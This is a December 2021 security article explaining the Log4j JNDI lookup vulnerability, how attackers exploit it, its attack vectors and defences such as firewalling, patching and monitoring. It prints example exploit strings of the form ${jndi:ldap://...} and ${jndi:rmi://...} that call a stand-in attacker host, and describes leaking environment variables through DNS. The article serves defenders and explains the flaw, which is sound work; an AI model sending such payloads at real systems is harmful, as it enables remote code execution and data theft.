Log4j Vulnerability: The Impact, Exploitation, Attack Vectors, and Defence Mechanisms

Joseph Ikhalia

Riela Cyber Security Engineer & Threat Management Lead

December 16, 2021

What is Log4j vulnerability?

Log4j is a Java library extremely popular with Java developers and it is used for logging application events. The vulnerability was introduced in version 2.0-beta9 of the Log4j Java library.
The introduction of a new Plugin – JNDI Lookups to the Log4j library created the security vulnerability.
JNDI (Java Naming and Directory Interface) Lookup Plugin is a data enrichment Plugin that allows developers to enrich the data being logged by Log4j library.
JNDI is a mechanism (API) that allows Java programs to perform lookups to objects.
JNDI supports several other protocols which include LDAP (Lightweight Directory Access Protocol), RMI (remote method invocation), DNS (Domain Name System), and CORBA (Common Object Request Broker Architecture).
Log4j vulnerability is an input validation vulnerability that parses any input received by users through any channel that the library receives input from.
Although most of the attacks today affect web applications, any Lookup that ends up in a vulnerable log4j library can potentially be used as an exploit.
Log4j library treats user input as some form of a format string.
It looks for a Lookup in any input that starts with characters ${jndi:[Specify the Protocol to be Used] e.g., ${jndi:ldap://attacker.com:1234/a} or ${jndi:rmi://attacker.com:9191/a}.
Log4j will attempt to parse the above Lookup and if successful – it will perform a Lookup action to enrich the data that is being logged into a log.
The issue here is that a remote code execution attack is possible when using JNDI and LDAP.
LDAP allows the storage of Java objects that are serialized into LDAP – when a Java application tries to fetch an LDAP object and sees there is an object it needs to execute to successfully populate data – it will execute the code happily. This leads to remote code execution attacks where exploitation is easy.

How Log4j Vulnerability is Exploited

An attacker must submit a Lookup that points to a server they control. For example, the following Lookups using the LDAP and RMI protocols respectively

${jndi:ldap://attacker.com:1234/a}

${jndi:rmi://attacker.com:9191/a}

When an application using a vulnerable Log4j library encounters the above Lookup strings, it will parse it by firstly contacting an LDAP server running on attacker.com on TCP port 1234 and it will try to fetch an object that will tell it how to resolve it.
When the LDAP request is received by the attacker, they can;
Serve Java serialized object back immediately
Serve a reference back to the vulnerable library which goes back to an arbitrary server to fetch a malicious object and execute it
Most of the exploits today uses the LDAP protocol.
An attacker can use hostnames, in which case the resolver will automatically try to resolve those DNS names and this can be used for exfiltration of very sensitive data. For example, an attacker can embed an environment variable from the target server into the hostname and this will end up leaking the variable to the attacker if the attacker controls the DNS zone that was used in the attack.

Log4j Attack Vectors

Basically, any user-supplied input that is parsed by Log4j is a potential attack vector
Currently, there are bots blindly attacking web pages and sending the JDNI to exploit strings in various request headers.

Exploitations using the attack vector in the screenshot above can only catch the low hanging fruits.
If a web application is protected by a login form, any parameter that gets passed by Log4j is a potential input vector.
Keep in mind that if you scan your IT estate and do not find any vulnerable application, it doesn’t mean you are completely safe because remote checks are quite limited.
As seen in the case of Minecraft, Log4j can be exploited on the client and server-side of the application.
If you have a client application that contains a vulnerable Log4j library, and a malicious server sends data to the client library – the client could be exploited as well. This implies that it will take an awful amount of time to fix the Log4j vulnerability, unfortunately.

Requirements for an Attacker to Exploit Log4j Vulnerability

An attacker must be able to deliver their malicious input that will be processed by a vulnerable Log4j library (currently versions 2.0-beta9 – 2.14 are vulnerable), while version 2.15 is not vulnerable.
Most current exploits require that the server on which the affected application is running connects back to the attacker server or any other server that is under the attackers’ control. This is needed for the attacker to push back the Java serialized object that will be executed by the vulnerable Java code.

Defence Mechanism Against Log4j Exploits

If you prevent your servers from directly connecting to the internet, you can limit the exposure to Log4j exploitation. Although this is not a silver bullet – particularly if the victim is running Apache Tomcat or WebSphere, there are ways to exploit Log4j vulnerability without having the server running the vulnerable library connect back to the attacker. However, such exploits haven’t been seen in the wild yet.
Apply appropriate firewall rules that would ensure the application servers only make remote calls to the systems they are allowed to talk to – this increases the effort of the attacker dramatically and reduces the potential risk.
Follow vendors guidance to apply the latest patch on affected systems, ideally, patches should be applied to development environments first to avoid production outages.
If you cannot patch – disable remote
Depending on the Java version, some attacks could be more difficult than others.
Use the IMMA Technique:

Isolate – your application servers with a Firewall.

Minimize – run applications with the least privilege account.

Monitor – strange network activity.

Active Defense – deploy honeypots to find exploitation reconnaissance and deploy honey data near suspected vulnerable apps.